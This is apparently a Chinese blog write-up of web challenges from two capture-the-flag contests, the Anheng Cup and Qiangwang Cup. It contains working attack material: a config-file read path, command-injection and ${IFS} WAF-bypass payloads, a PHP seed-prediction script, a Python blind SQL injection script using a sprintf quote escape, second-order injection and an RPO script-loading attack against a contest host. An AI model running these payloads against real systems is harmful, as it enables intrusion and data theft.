打了两天的比赛,第一个专心打了强网杯emm 题目是真的难 第二天去安恒杯水了水 还是安恒的题目比较友好,强网杯的web+pwn真的无力。。

简单总结一下吧。

安恒杯

题目名字想不起来了。

WebScan

第一个给了个扫描报告,结合题意可以知道是利用文件读取漏洞,直接去读apache2的配置文件。

file=/etc/httpd/conf/httpd.conf

web2

考点是命令执行+zip伪协议+伪随机数预测文件名

没有截图,先是个ping命令,0.1.0.1%0als
这里我随便弄了个错误的ip这样可以不用进入ping循环了,读到you_find_upload.php文件,可以看到一个上传页面,主要是
time() % rand(1,100000)%rand(1000,9000)文件命名是这个,但是一开始没有配置好,有列目录漏洞,可以直接上传了看了upload目录下名字,后来修上了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a=0;
$k=0;
$myfile = fopen("testfile.txt", "w");

while(1){
$a=(time() % rand(1,100000)%rand(1000,9000));
mt_srand($a);
$txt=mt_rand().' '.mt_rand()."\r\n";
fwrite($myfile, $txt);
$k++;
if($k==100000) break;

}

写脚本预测下,直接去里面找,当然这样写的话不一定爆破到种子,调大一点就OK了。

然后结合zip伪协议,但是过滤了../,也就是说使用zip伪协议的时候没法直接使用相对路径来查找,但是在源代码里可以看到绝对路径,直接绝对路径来getshell。

艰难的bypass

这个考点是之前那个sprintf造成的引号逃逸,还有就是waf比较难饶,直接上脚本吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: UTF-8 -*- 
import requests
url = ""
def check(payload):
postdata = {'username':payload,'passwd':'xx'}
r = requests.post(url,postdata).content
#print r
return "password error!" in r
password = ''
for i in xrange(32):
for j in range(45,127):
payload = "%1$' || id=2 && binary passwd<%1$'"+password+chr(j)+"%1$'#"
print payload
if check(payload):
password = password + chr(j-1)
break
print password

然后username=username=%1$' || id=2 && binary passwd<%1$'z%1$'#,省的去跑一遍username了。

登录之后是一个命令执行,直接给出payload吧:

%0als${IFS}$(expr${IFS}substr${IFS}$PATH${IFS}1${IFS}1)

强网杯

Three hit

这道题目是个二次注入,注入点在age,可以16进制编码绕过限制。

直接union查询把数据带出来

Share your mind

这里是rpo攻击的,附文章一篇

1
http://blog.nsfocus.net/rpo-attack/

首先看到

1
http://39.107.33.96:20000?dd<script src=js></script>

不太清楚bot是怎么写的。

但是开着httponly,达不到cookie,后来经表哥指导知道是rpo攻击,

首先写入js代码,另标题为空绕过h1的坑

然后构造

1
http://39.107.33.96:20000/index.php/view/article/29593/..%2F..%2F..%2F..%2Findex.php

这里因为解析的问题导致漏洞的产生,客户端是把..%2F..%2F..%2F..%2Findex.php当成了一个文件,而服务端就一级一级往上跳了,相当于http://39.107.33.96:20000/index.php

但是在加载http://39.107.33.96:20000/index.php的时候会调用两个js文件。

路径是static/article/xxx啥啥啥的,但是客户端把..%2F..%2F..%2F..%2Findex.php解析成一个文件,也就是在http://39.107.33.96:20000/index.php/view/article/29593/这个目录调用相对路径的js代码,拼接起来相当于

1
http://39.107.33.96:20000/index.php/view/article/29593/static/article/xxx

这样的话也就加载了我们写入的js代码,既然到了这里,那么就可以随心所欲了。

python1

二次注入,构造闭合插入多条数据,直接在留言板找到flag。

web签到

主要是三层的md5绕过,前两层都可以直接数组绕过,最后一个利用两个文件的md5相同,但是实际bin数据却不同来做。

1
https://natmchugh.blogspot.com/2014/10/how-i-made-two-php-files-with-same-md5.html